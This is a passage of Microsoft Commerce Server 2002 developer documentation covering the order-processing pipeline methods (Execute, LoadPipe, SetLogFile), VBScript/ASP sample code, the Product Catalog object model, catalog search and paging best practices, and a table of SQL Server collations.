[out,retval] A pointer to a long that returns the warning level.

Return Values

[C++] This method returns an HRESULT indicating whether or not it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long indicating whether components in the pipeline detected warnings or errors. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++] In addition, the pErrorLevel parameter is set to one of the following three values:

[Visual Basic] In addition, the method returns one of the following three values:

Value | Description
1 | Success. The pipeline ran successfully.
2 | Warning. A pipeline component raised a warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3+ | Failure. A pipeline component failed to run.

Remarks

[C++]

The pErrorLevel parameter points to valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' dOrder, dContext are Commerce.Dictionary objects
' pPooledTxPipeline is a Commerce.PooledTxPipeline object

errVal = pPooledTxPipeline.Execute(1, dOrder, dContext, 0)

See Also

[C++] PooledTxPipeline Object

[Visual Basic] PooledTxPipeline Object

[C++] IPipeline::LoadPipe

[Visual Basic] PooledTxPipeline.LoadPipe

[C++] IPipeline::SetLogFile

[Visual Basic] PooledTxPipeline.SetLogFile


IPipeline::LoadPipe Method [C++]

PooledTxPipeline.LoadPipe Method [Visual Basic]

Use this method to load a pipeline configuration file (.pcf) into the pipeline.

Definition

[C++]
HRESULT IPipeline::LoadPipe(
  BSTR pszFileName
);
[Visual Basic]
Sub LoadPipe(
  pszFileName As String
)

Parameters

pszFileName [C++]
[in] A BSTR containing the pipeline configuration file (.pcf) name.
pszFileName [Visual Basic]
A String containing the pipeline configuration file (.pcf) name.

Return Values

[C++] This method returns an HRESULT indicating whether or not it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The LoadPipe method must be called to initialize all pipelines.

The LoadPipe method fails if you attempt to load a pipeline configuration file that is not designated to be used for transactions (for use in MtsPipeline or PooledPipeline).

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pPooledTxPipeline is a Commerce.PooledTxPipeline object

errVal = pPooledTxPipeline.LoadPipe("CustomShip.pcf")

See Also

[C++] PooledTxPipeline Object

[Visual Basic] PooledTxPipeline Object

[C++] IPipeline::Execute

[Visual Basic] PooledTxPipeline.Execute

[C++] IPipeline::SetLogFile

[Visual Basic] PooledTxPipeline.SetLogFile


IPipeline::SetLogFile Method [C++]

PooledTxPipeline.SetLogFile Method [Visual Basic]

Use this method to identify the file in which to log the operations of the pipeline component.

Note

  • This method is for use by developers who want to analyze pipeline configuration file information. Logging should never be enabled in a production environment: it degrades performance and could compromise the security of credit card numbers in non-set transactions. File systems must be configured to allow the process running the pipeline to have write access to the specified path.

Definition

[C++]
HRESULT IPipeline::SetLogFile(
  BSTR pszFileName
);
[Visual Basic]
Sub SetLogFile(
  pszFileName As String
)

Parameters

pszFileName [C++]
[in] A BSTR containing the name of the file in which to log events.
pszFileName [Visual Basic]
A String containing the name of the file in which to log events.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

When logging is set, the pipeline logs the pipeline components that are called and the error values each component returns. The pipeline also logs all Dictionary and SimpleList object read and write operations.

The SetLogFile methodshould be called immediately before executing a pipeline.

Calling this method with an empty string turns off logging.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pPooledTxPipeline is a Commerce.PooledTxPipeline object

errVal = pPooledTxPipeline.SetLogFile("CustomShipping.log")

See Also

[C++] PooledTxPipeline Object

[Visual Basic] PooledTxPipeline Object

[C++] IPipeline::Execute

[Visual Basic] PooledTxPipeline.Execute

[C++] IPipeline::LoadPipe

[Visual Basic] PooledTxPipeline.LoadPipe


Example Code for Pipeline Objects

This section provides detailed examples of how to invoke a pipeline component and a pipeline.

Examples

Example | Description
Code to Invoke a Single Pipeline Component | Describes how to use the Micropipe object to run a single component.
Code to Invoke a Pipeline | Provides sample code to set up the objects and dictionaries necessary to run a pipeline.


Code to Invoke a Single Pipeline Component

The MicroPipe object is generally created and used on a per page basis. The steps to invoke the MicroPipe object are similar to those used to run any other pipeline:

  1. Create instances of the necessary dictionaries, the MicroPipe object, and the pipeline component.
  2. Set up the Order and Context dictionaries, and the Configuration dictionary (if necessary).
  3. Configure the component with either the Configuration dictionary or by setting component properties. The method used depends on the specific component.
  4. Load and run the MicroPipe object.
  5. Clean up objects created on the page.

The following examples show the MicroPipe object used with components configured with a dictionary and with properties.

Example of a component configured with a dictionary

The following example shows how to use the MicroPipe object with the SendSMTP pipeline component, which is configured with a dictionary:

' Create Order, Context, and Configuration dictionaries.
Set dOrder = Server.CreateObject("Commerce.Dictionary")
Set dContext = Server.CreateObject("Commerce.Dictionary")
Set dConfig    = Server.CreateObject("Commerce.Dictionary")

' Set values in the Configuration dictionary.
' Not all required values are shown.
dConfig("SubjectField") = "subject_field"
dConfig("BodyField") = "We will no longer accept bruised papayas" _
                       & " or mushy melons."
dConfig("BodyType") = 1

' Set values in the Order dictionary.
' Not all required values are shown.
dOrder("subject_field") = "To All Suppliers"

' Create an instance of the SendSMTP pipeline component.
Set pSMTP = Server.CreateObject("Commerce.SendSMTP")

' Create an instance of the MicroPipe object.
Set oMicropipe = Server.CreateObject("Commerce.MicroPipe")

' Configure the SendSMTP component with the Configuration dictionary.
pSMTP.SetConfigData dConfig

' Tell the MicroPipe which component to run, and run it.
oMicropipe.SetComponent pSMTP
errVal = oMicropipe.Execute(dOrder,dContext,lFlags)

' Checking for pipeline errors would be done here.

' Clean everything up.
Set dOrder = Nothing
Set dContext = Nothing
Set dConfig = Nothing
Set pSMTP = Nothing
Set oMicropipe = Nothing

Example of a component configured by setting properties

The following example shows how to use the MicroPipe object with a pipeline component, CopyValue3, configured by setting a property. The component is written as a Microsoft Visual Basic ActiveX control. The property, KeytoCopy, has as its value a key in the Order dictionary. The component creates a new key by copying the old key name, prefixing it with copy_, and then assigning to it the value of the original key:

' Create Order and Context dictionaries.
Set dOrder = Server.CreateObject("Commerce.Dictionary")
Set dContext = Server.CreateObject("Commerce.Dictionary")

' Create an instance of the CopyValue3 pipeline component.
Set pCopyValue = Server.CreateObject("My.CopyValue3")

' Set the dictionary key to copy - a property.
pCopyValue.KeytoCopy = "this_key"

' Set up the order dictionary - give the key to copy a value.
dOrder("this_key") = "...on the light fantastic toe"

' Create an instance of the MicroPipe object.
Set oMicropipe = Server.CreateObject("Commerce.MicroPipe")

' Tell the MicroPipe which component to run, and then run it.
oMicropipe.SetComponent pCopyValue
errVal = oMicropipe.Execute(dictOrder,dictContext,lFlags)

' Checking for pipeline errors would be done here.

' Clean everything up.
Set dOrder = Nothing
Set dContext = Nothing
Set pValue = Nothing
Set oMicropipe = Nothing


Code to Invoke a Pipeline

To use a pipeline configuration file in a pipeline requires a little more set up than using a single component in the MicroPipe object. Generally, in addition to the steps outlined above, you will need to create a MessageManager object and add messages to it in the Global.asa file. The documentation for each component indicates whether or not it uses the MessageManager object. The following code shows how the Application_OnStart procedure creates a MessageManager object and adds messages to it specifically for the ValidateCCNumber pipeline component:

<SCRIPT LANGUAGE=VBScript RUNAT=Server>
Sub Application_OnStart
    ' Set up the MessageManager and messages.
    Set oMessageManager = _
                      Server.CreateObject("Commerce.MessageManager")
    Call oMessageManager.AddLanguage("usa",&h0409)
    oMessageManager.defaultLanguage = "usa"
    Call oMessageManager.AddMessage("pur_cc_expired", _
                                    "Credit card has expired.")
    Call oMessageManager.AddMessage("pur_badcc", _
                             "The credit-card number is not valid.")
    ' Set up the data functions.
    Set oDataFunctions = Server.CreateObject("Commerce.DataFunctions")
    oDataFunctions.Locale = &H0409
    Application.Lock
        Set Application("MSCSMessageManager") = oMessageManager
        Set Application("MSCSDataFunctions") = oDataFunctions
    Application.UnLock
End Sub
</SCRIPT>

Creating the Context dictionary and running the pipeline itself are so frequently done in a Commerce Server site that it makes sense to encapsulate this code in a one or more utility procedures contained in a separate Active Server Pages (ASP) page (for example, Util.asp):

<%
Function GetPipeContextUtil()
Set dContext = GetDictionary()
Set dContext.MessageManager = MSCSMessageManager
Set dContext.DataFunctions = MSCSDataFunctions
dContext.Language = sLanguage
Set dContext.CatalogManager = Application("MSCSCatalogManager")
Set dContext.CacheManager = Application("MSCSCacheManager")
Set dContext.ProfileService = MSCSProfileService

    Set GetPipeContextUtil = dContext
End Function
%>
<%
Function ExecPipeUtil(sPcfFile, dOrderForm, dContext)
    Dim sPcfPath
    sPcfPath = Request.ServerVariables("APPL_PHYSICAL_PATH") + _
                                                  "\config\" + _
                                                  sPcfFile)
    Set pPooled = Server.CreateObject("Commerce.PooledPipeline")
    Call pPooled.LoadPipe(sPcfPath)
    iErrLevel = pPooled.Execute(1, dOrderForm, dContext, 0)
    ExecPipeUtil = iErrLevel
End Function
%>

The following shows only the code that runs the pipeline. In a full application, more values would likely be added to the OrderForm object:

<%@ Language=VBScript %>
<!-- #include file="util.asp" -->
<%
    ' Create dictionary object orderform.

    Set dOrderForm = Server.CreateObject("Commerce.OrderForm")

    dOrderForm.[cc_type] = sCardType
    dOrderForm.[_cc_number] = sCardNumber
    dOrderForm.[_cc_expmonth] = sExpMonth
    dOrderForm.[_cc_expyear] = sExpYear

    ' Create the pipe context.

    Set dPipeContext = GetPipeContextUtil()

    ' Run the pipeline.
    iErrLevel = ExecPipeUtil("plan.pcf", dOrderForm, dPipeContext)

%>

If you intend to store the credit card information associated with the order, the credit card properties should be encrypted. For more information, see Encrypted Profile Properties.


Product Catalog Objects

The product catalog objects provide methods to create and manage catalogs, products, and categories in the Commerce Server 2002 Product Catalog System. These objects provide an interface for catalog data stored in a SQL Server database. Use data caching to improve the performance of the Product Catalog System by holding catalog data in memory and minimizing calls to the underlying database.

The Product Catalog Programming Concepts topic describes the concepts related to programming with product catalog objects.

Objects

Visual Basic reference | C++ invocation | Description
CatalogManager | CatalogManager | Allows management of catalogs across the entire Product Catalog System.
CatalogSets | CatalogSets | Allows filtering of multiple catalogs for different users and organizations.
CatalogSets2 | CatalogSets2 | Allows management of catalog sets in the Product Catalog System. Catalog sets allow for the presentation of different collections of catalogs to different users and organizations.
CatalogToVendorAssociation | CatalogToVendorAssociation | Allows a catalog to be associated with a particular vendor.
Category | Category | Allows management of a product hierarchy within a particular catalog. Also allows you to manipulate category properties and category relationships.
Product | Product | Allows manipulation of the relationships between a product variant and a product category. Also allows you to set the properties on a product.
ProductCatalog | ProductCatalog | Allows creation, deletion, and modification of catalog data.

Examples

Example | Description
Code to Activate or Deactivate a Product | Describes how to make a product visible or invisible to customers.
Code to Browse a Catalog | Describes how to implement catalog browsing functionality.
Code to Change How a Category is Displayed | Describes how to change the DisplayName property associated with a category.
Code to Find the Available Catalogs | Describes how to create a list of all catalog names.
Code to Hide Searchable Categories | Describes how to hide search categories from users.
Code to Perform a Search of a Catalog | Describes how to perform a catalog search.
Code to Join an External Table to Product Recordsets | Describes how to join a table or view of data to the product recordsets returned by methods in the Product Catalog System.
Code to Perform a Specification Search of a Catalog | Describes how to perform a specification search.
Code to Stage Products and Catalogs by Time | Describes how to set a time at which a catalog or product will be available to users.
Code to Use Caching with a Catalog | Describes how to implement caching with a catalog.

See Also

User-defined Property and Catalog Attributes

CatalogManager Object

CacheManager Object


Product Catalog Programming Concepts

The CatalogManager object is the foundation of the Product Catalog System object model. You use the CatalogManager object to create and manage the ProductCatalog, Category, and Product objects in the system. The CatalogSets and CatalogToVendorAssociation objects are managed directly by application code rather than through the CatalogManager object.

The CatalogManager object instantiates one or more ProductCatalog objects. Each ProductCatalog object represents a catalog in the Product Catalog System. A catalog can consist of a flat list of products or it can have a hierarchy of categories in which to organize the products. Each Category object represents a node in this hierarchy and contains products or other categories.

The CatalogManager object also manages a collection of properties. These properties are used to define the attributes of the objects in the Product Catalog System. Appropriate properties must be created before the CatalogManager object can create any other objects.

The Commerce Server 2002 product catalog objects are described in the following topics:

  • CatalogManager Object
  • ProductCatalog Object
  • Product Object
  • Category Object
  • CatalogSets Object
  • CatalogToVendorAssociation Object
  • Category and Product Properties

CatalogManager Object

The CatalogManager object is the first object you create to use the Commerce Server 2002 Product Catalog System. Typically, a single CatalogManager object is created in the Global.asa file and used throughout an application. This object sets and retrieves properties that apply to all the catalogs in the Product Catalog System. You also use the CatalogManager object to create properties, define their attributes, and to create product and category definitions using those properties. See Category and Product Properties for more information about the properties in the Product Catalog System.

The CatalogManager object provides methods for queries and free text searches across single or multiple catalogs. The CatalogManager object provides methods for importing or exporting catalogs in comma-separated values (CSV) or XML formats.

The CatalogManager.CreateCatalog and CatalogManager.GetCatalog methods return a ProductCatalog object representing a specific catalog. The CatalogManager.Catalogs property is a recordset of all the catalogs in the Product Catalog System.

ProductCatalog Object

The ProductCatalog object represents a single catalog in the Product Catalog System. A catalog can be created either as a base catalog that contains products or as a virtual catalog that references products in one or more base catalogs. A virtual catalog can present products in a different hierarchy than the base catalog that it references. In Commerce Server 2002, virtual catalogs replace the custom catalogs available in Commerce Server 2000. Custom catalogs are not supported in Commerce Server 2002. All the methods for supporting custom catalogs exist in Commerce Server 2002, but they return an error. An upgrade from Commerce Server 2000 to Commerce Server 2002 converts all custom catalogs to virtual catalogs. Virtual catalogs are more flexible than custom catalogs.

You use the ProductCatalog object to add new products and categories to a catalog, either directly or through inclusion rules, to retrieve the products or categories in a catalog, or to perform a specification search of a catalog. All of the methods of the ProductCatalog object are run from the context of a specific catalog. Most methods apply equally to both base and virtual catalogs. Because a virtual catalog presents products that are contained in a base catalog, you cannot create a product from within a virtual catalog. A virtual catalog can contain new categories that are used to present included products or categories in a different hierarchy. Virtual catalog rules and price rules apply only to virtual catalogs and cannot be used within a base catalog. Virtual catalogs can also be used to support multicurrency applications.

A virtual catalog can present categories and products from several base catalogs. This is referred to as an aggregated catalog. Category names, product IDs, and variant IDs must be unique within a catalog. A virtual catalog handles these identifiers differently from a base catalog to avoid name conflicts. It does this by appending the name of the containing catalog to the identifier. For example, the product ID property in "BaseCatalog1" is "ProductNumber". When the base catalog is included in "VirtualCatalog2" the property name is changed to "ProductNumber(BaseCatalog1)" within the virtual catalog. When a new category is created in the same virtual catalog with "VirtualCategory" specified as the category name, the name is changed to "VirtualCategory(VirtualCatalog2)".

A virtual catalog acts exactly like a base catalog from the perspective of your application, but is quite different from the perspective of Commerce Server Business Desk. Likewise, the run-time API methods and properties act identically, but the design-time methods and properties are quite different. Some methods apply only to base catalogs, while others apply only to virtual catalogs. For example, you can create products only in a base catalog and you can add inclusion or exclusion rules only to a virtual catalog. Some properties, such as the PrimaryParent property, can be edited only in a base catalog.

Each time a virtual catalog rule or a price rule is changed, the virtual catalog is marked as dirty. Each time a change is made to a base catalog the catalog is marked as dirty. These changes will not affect the contents of a virtual catalog until it is rebuilt. The VirtualCatalogStatus catalog attribute stores the state of the catalog.

By default, virtual catalogs are created as views. This makes it easier and quicker to edit a virtual catalog, but can reduce the run-time performance in comparison to base catalogs. You can materialize a virtual catalog to improve the run-time performance. The tradeoff is that it takes much longer to rebuild that catalog after editing it. The materialize.vbs script can be used to set or reset a catalog attribute so that the catalog will be materialized when it is rebuilt.

You can use the CatalogManager.AddCatalogAttribute method to extend the ProductCatalog object with user-defined attributes. You could, for example, store information about the product vendor as one or more attributes of a catalog. This would eliminate the need for the CatalogToVendorAssociation object.

The ProductCatalog object supports multilingual catalogs. ProductCatalog objects have a multilingual DisplayName attribute. Each multilingual property in a multilingual catalog has a separate value for each language in the catalog. Any ProductCatalog object method that returns these properties returns them in the current language of the catalog. This maintains backward compatibility with existing application code. The current language is specified in the Language property of the ProductCatalog object. The ProductCatalog.Language property also specifies the language for all product/category objects that are obtained from this ProductCatalog object.

The ProductCatalog.RootCategories method returns a recordset of categories that is the starting point for traversing the category hierarchy. Similarly, the ProductCatalog.RootProducts method returns a recordset of products that are not in the category hierarchy.

Product Object

The Product object represents a single product or product family in the catalog. A product definition is created by using the CatalogManager object and can be used across the Product Catalog System, but a product is always stored in the context of a single base catalog. Use the Product object to perform operations on a product, such as modifying properties, creating product variants, or managing relationships.

Category Object

The Category object represents a single category in the catalog. Categories provide a method for organizing products within a catalog. Use this object to perform various operations on a category, such as adding products or other categories, or managing relationships. You can also use the Category object to perform a search that is scoped to the Category object. All categories have a multilingual DisplayName attribute. This attribute supports multilingual catalogs and allows different categories to appear to have the same name. See Code to Change How a Category is Displayed for details.

The Category.ChildCategories property is a recordset containing the names of categories that exist below this category in the hierarchy. The Category.Products property is a recordset containing all the products that exist directly in this category.

CatalogSets Object

The CatalogSets object stores and manages catalog sets, which are arbitrary collections of catalogs. Catalog sets allow you to present different collections of catalogs to different users and organizations.

CatalogToVendorAssociation Object

The CatalogToVendorAssociation object stores and manages associations between catalogs and vendors (suppliers).

Category and Product Properties

Properties are created and managed by the CatalogManager object. Property names must be unique across the Product Catalog System; however, the same property can be shared by any number of product or category definitions. Each property has a number of built in attributes, such as PropertyName and Datatype. You can extend properties by adding user-defined attributes.

Properties can be language neutral or multilingual. Language neutral properties have a single value; multilingual properties have a different value for each language supported in a catalog. Multilingual string, enumeration, and text properties can have a default value for each language in the Product Catalog System. All properties have a multilingual DisplayName attribute, even if they are language neutral. Monetary properties can have an attribute to specify their currency. All properties have an IsRequired attribute. If the IsRequired attribute is True, then Commerce Server Business Desk enforces requiring a value for the property.

The collation order and word breaker can be specified on a per-language basis. This is done by editing an XML file that is also used to configure Business Desk. See Language Configuration for details about the XML configuration file.

See Also

User-defined Property and Catalog Attributes

Product Catalog Objects

Example Code for Product Catalog Objects

CatalogManager Object

ProductCatalog Object

Category Object

Product Object

CatalogSets Object

CatalogToVendorAssociation Object

Copyright © 1996–2002 Microsoft Corporation.
All rights reserved.


Programming Best Practices for Catalogs

This topic describes the best practices for common programming scenarios when working with catalogs. It is recommended that you also see Example Code for Product Catalog Objects.

  • Catalog Code Optimization
  • Specifying the Collation for a Catalog Language
  • Preventing Errors While Doing a Free Text Search
  • Combining Property Searches and Freetext Searches
  • Updating FullText Catalogs
  • Using Wordbreakers with Product Catalogs
  • Getting the Status of an XML Import Operation
  • Changing Non-Multilingual Properties to Multilingual
  • Converting Properties to Multilingual in a CSV File
  • Specifying Input Parameters for Search Conditions
  • Changing the Data Type of a Catalog Property
  • Converting a Commerce Server 2000 Multilingual Catalog to Commerce Server 2002
  • Adding Relationships Across Catalogs
  • Working with Root Categories
  • Adding User-Defined Attributes to Catalogs
  • Associating Additional Information with Catalog Properties
  • Working with Materialized and Non-Materialized Virtual Catalogs
  • Pricing Rules in Custom Catalogs and Virtual Catalogs
  • Using Current Product Prices vs Original Product Prices
  • Creating a FreeTextSearchableMultilingual Text Property


Catalog Code Optimization

Several catalog object methods have been optimized to speed performance for a few special cases. The following methods have been optimized for this purpose:

CatalogManager.Search

Category.Products

CatalogManager.FreeTextSearch

CatalogManager.Query

One optimization is in place for the case where the record count is required, but the actual records are not required. Another optimization is in place for the case where the paged records are required in an unsorted manner, but the record count is not required.

Currently, most of the site code (both Retail site and International Retail site code) calls the APIs in the general mode: this means that both the paged records and the record count are requested. However, this method of calling the API is much costlier than the two options just described.

The following code samples demonstrate best practices to take advantage of the optimized features described above:

  • Paging through the products of a catalog
  • Querying catalogs
  • Implementing free text search

Paging through the products of a catalog

The following code sample illustrates catalog product paging that takes advantage of the optimized features:

' This applies only if you do not want the recordset to be sorted
' First get the total number of products under this category
Dim oCatalogManager
Dim oProductCatalog
Dim oCategory
Dim TotalRecords

Set oCatalogManager = CreateObject("Commerce.Catalogmanager")
Call oCatalogManager.Initialize("Provider=SQLOLEDB;Integrated Security='SSPI';Data Source=(local);Initial catalog=catalogdb", True)
Set oProductCatalog = oCatalogManager.GetCatalog("Mycatalog")
Set oCategory = oProductCatalog.getCategory("Mycategory")
'Get the total number of products and families under this category
Set oRs = oCategory.Products(12, , 1, 0, TotalRecords)

'Once you get TotalRecords Cache it and pass NULL for TotalRecords in subsequent calls.
'Use the following call to page through the products
'get the first 10 products. Pass Null to the TotalRecords parameter
Set oRs = oCategory.Products(12, , 1, 10, Null)
'get 10 products starting from the 50th product. Pass Null to the TotalRecords parameter
Set oRs = oCategory.Products(12, , 50, 10, Null)

Querying catalogs

The following code sample illustrates catalog querying that takes advantage of the optimized features:

'This applies only if you do not want the recordset to be sorted
' First get the total number of records
Dim oCatalogManager
Set oCatalogManager = CreateObject("Commerce.Catalogmanager")
Call oCatalogManager.Initialize("Provider=SQLOLEDB;Integrated Security='SSPI';Data Source=(local);
Initial catalog=catalogdb", True)
Set oRs = oCatalogManager.Search("cy_list_price>0", , "mycatalog", 14, "[ProductId],[VariantId],[cy_list_price],[Name],[Description]", , , 1, 0, "en-us", TotalRecords)
' Cache TotalRecords and do pass NULL for TotalRecords
' in subsequent calls.
' Use the following call to page through the query results
'get the first 10 records. Pass Null to the TotalRecords parameter
Set oRs = oCatalogManager.Search("cy_list_price>0", , "mycatalog", 14, "[ProductId],[VariantId],[cy_list_price],[Name],[Description]", , , 1, 10, "en-us", Null)
' Get 10 records starting from the 50th product.
' Pass Null to the TotalRecords parameter
Set oRs = oCatalogManager.Search("cy_list_price>0", , "mycatalog", 14, "[ProductId],[VariantId],[cy_list_price],[Name],[Description]", , , 50, 10, "en-us", Null)

Implementing free text search

The following code sample illustrates free text search that takes advantage of the optimized features:

' This applies only if you do not want the recordset to be sorted
' First get the total number of records
Dim oCatalogManager

Set oCatalogManager = CreateObject("Commerce.Catalogmanager")
Call oCatalogManager.Initialize("Provider=SQLOLEDB;Integrated Security='SSPI';Data Source=(local);Initial catalog=catalogdb", True)
Set oRs = oCatalogManager.Search(,"books" , "mycatalog",_
   14, "[ProductId],[VariantId],[cy_list_price],[Name], _
   [Description]", , , 1, 0, "en-us", TotalRecords)
' Cache TotalRecords and do pass NULL for TotalRecords
' in subsequent calls.
' Use the following call to page through the query results
' Get the first 10 records. Pass Null to the TotalRecords parameter
Set oRs = oCatalogManager.Search(,"books", "mycatalog", _
  14, "[ProductId],[VariantId],[cy_list_price],[Name],_
   [Description]", , , 1, 10, "en-us", Null)
' Get 10 records starting from the 50th record.
' Pass Null to the TotalRecords parameter
Set oRs = oCatalogManager.Search(,"books", "mycatalog",_
   14, "[ProductId],[VariantId],[cy_list_price], _
   [Name],[Description]", , , 50, 10, "en-us", Null)


Specifying the Collation for a Catalog Language

A collation specifies the bit patterns that represent each character and the rules by which characters are sorted and compared. Because Commerce Server 2002 supports multiple languages, you can specify the collation for each language to get better results.

You can specify the collation for a language by using the updatelanguageinfo.vbs script in the Program Files\Microsoft Commerce Server 2002\Support directory.

Add an attribute named collation to the Language element for which you want to specify the collation:

<?xml version = '1.0' encoding='utf-8' ?>
<Languages>
<Language culture_name="ja-JP"    display_name="Japanese - Japan" culture_code="0x0411" iso639x="JPN" collation="Japanese_CI_AS" word_breaker=""/>
</Languages>

This will use the Japanese_CI_AS collation for the culture code ja-JP.

Run the following script: UpdatelanguageInfo <path of the languages.xml file>.

SQL Server supports the following collations:

Sort order ID | SQL collation name
30 | SQL_Latin1_General_Cp437_BIN
31 | SQL_Latin1_General_Cp437_CS_AS
32 | SQL_Latin1_General_Cp437_CI_AS
33 | SQL_Latin1_General_Pref_CP437_CI_AS
34 | SQL_Latin1_General_Cp437_CI_AI
40 | SQL_Latin1_General_Cp850_BIN
41 | SQL_Latin1_General_Cp850_CS_AS
42 | SQL_Latin1_General_Cp850_CI_AS
43 | SQL_Latin1_General_Pref_CP850_CI_AS
44 | SQL_Latin1_General_Cp850_CI_AI
49 | SQL_1Xcompat_CP850_CI_AS
50 | Latin1_General_BIN
51 | SQL_Latin1_General_Cp1_CS_AS
52 | SQL_Latin1_General_Cp1_CI_AS
53 | SQL_Latin1_General_Pref_CP1_CI_AS
54 | SQL_Latin1_General_Cp1_CI_AI
55 | SQL_AltDiction_Cp850_CS_AS
56 | SQL_AltDiction_Pref_CP850_CI_AS
57 | SQL_AltDiction_Cp850_CI_AI
58 | SQL_Scandinavian_Pref_Cp850_CI_AS
59 | SQL_Scandinavian_Cp850_CS_AS
60 | SQL_Scandinavian_Cp850_CI_AS
61 | SQL_AltDiction_Cp850_CI_AS
71 | Latin1_General_CS_AS
72 | Latin1_General_CI_AS
73 | Danish_Norwegian_CS_AS
74 | Finnish_Swedish_CS_AS
75 | Icelandic_CS_AS
80 | Hungarian_BIN (or Albanian_BIN, Czech_BIN, and so on)1
81 | SQL_Latin1_General_Cp1250_CS_AS
82 | SQL_Latin1_General_Cp1250_CI_AS
83 | SQL_Czech_Cp1250_CS_AS
84 | SQL_Czech_Cp1250_CI_AS
85 | SQL_Hungarian_Cp1250_CS_AS
86 | SQL_Hungarian_Cp1250_CI_AS
87 | SQL_Polish_Cp1250_CS_AS
88 | SQL_Polish_Cp1250_CI_AS
89 | SQL_Romanian_Cp1250_CS_AS
90 | SQL_Romanian_Cp1250_CI_AS
91 | SQL_Croatian_Cp1250_CS_AS
92 | SQL_Croatian_Cp1250_CI_AS
93 | SQL_Slovak_Cp1250_CS_AS
94 | SQL_Slovak_Cp1250_CI_AS
95 | SQL_Slovenian_Cp1250_CS_AS
96 | SQL_Slovenian_Cp1250_CI_AS
104 | Cyrillic_General_BIN (or Ukrainian_BIN, Macedonian_BIN)
105 | SQL_Latin1_General_Cp1251_CS_AS
106 | SQL_Latin1_General_Cp1251_CI_AS
107 | SQL_Ukrainian_Cp1251_CS_AS
108 | SQL_Ukrainian_Cp1251_CI_AS
112 | Greek_BIN
113 | SQL_Latin1_General_Cp1253_CS_AS
114 | SQL_Latin1_General_Cp1253_CI_AS
120 | SQL_MixDiction_Cp1253_CS_AS
121 | SQL_AltDiction_Cp1253_CS_AS
124 | SQL_Latin1_General_Cp1253_CI_AI
128 | Turkish_BIN
129 | SQL_Latin1_General_Cp1254_CS_AS
130 | SQL_Latin1_General_Cp1254_CI_AS
136 | Hebrew_BIN
137 | SQL_Latin1_General_Cp1255_CS_AS
138 | SQL_Latin1_General_Cp1255_CI_AS
144 | Arabic_BIN
145 | SQL_Latin1_General_Cp1256_CS_AS
146 | SQL_Latin1_General_Cp1256_CI_AS
153 | SQL_Latin1_General_Cp1257_CS_AS
154 | SQL_Latin1_General_Cp1257_CI_AS
155 | SQL_Estonian_Cp1257_CS_AS
156 | SQL_Estonian_Cp1257_CI_AS
157 | SQL_Latvian_Cp1257_CS_AS
158 | SQL_Latvian_Cp1257_CI_AS
159 | SQL_Lithuanian_Cp1257_CS_AS
160 | SQL_Lithuanian_Cp1257_CI_AS
183 | SQL_Danish_Pref_Cp1_CI_AS
184 | SQL_SwedishPhone_Pref_Cp1_CI_AS
185 | SQL_SwedishStd_Pref_Cp1_CI_AS
186 | SQL_Icelandic_Pref_Cp1_CI_AS
192 | Japanese_BIN
193 | Japanese_CI_AS
194 | Korean_Wansung_BIN
195 | Korean_Wansung_CI_AS
196 | Chinese_Taiwan_Stroke_BIN
197 | Chinese_Taiwan_Stroke_CI_AS
198 | Chinese_PRC_BIN
199 | Chinese_PRC_CI_AS
200 | Japanese_CS_AS
201 | Korean_Wansung_CS_AS
202 | Chinese_Taiwan_Stroke_CS_AS
203 | Chinese_PRC_CS_AS
204 | Thai_BIN
205 | Thai_CI_AS
206 | Thai_CS_AS
210 | SQL_EBCDIC037_CP1_CS_AS
211 | SQL_EBCDIC273_CP1_CS_AS
212 | SQL_EBCDIC277_CP1_CS_AS
213 | SQL_EBCDIC278_CP1_CS_AS
214 | SQL_EBCDIC280_CP1_CS_AS
215 | SQL_EBCDIC284_CP1_CS_AS
216 | SQL_EBCDIC285_CP1_CS_AS
217 | SQL_EBCDIC297_CP1_CS_AS


Preventing Errors While Doing a Free Text Search

To prevent the "The query contained only ignored words" error while doing a free text search for some search phrases, use the UpdateFullTextCatalogs.vbs script in the Program Files\Microsoft Commerce Server 2002\Support folder.

Use the following command:

UpdateFullTextCatalogs.vbs –I

You need to run this script every time you create a catalog.

If you add a product to your catalog and find that when you do a free text search the product is not returned in the recordset, you must enable change tracking.

For performance reasons, by default the FullText catalogs are not enabled for change tracking. Therefore, every time you make changes to the catalog you must call the RegenerateFreeTextSearchIndex method of the ProductCatalog object to update the FullText catalogs. You can also enable change tracking by using SQL Server Enterprise Manager. By enabling change tracking, the contents of the FullText catalog are updated in response to changes made in the catalog. The CatalogGlobal table in the catalog database stores the FullText catalog that is created for each catalog.


Combining Property Searches and Free Text Searches

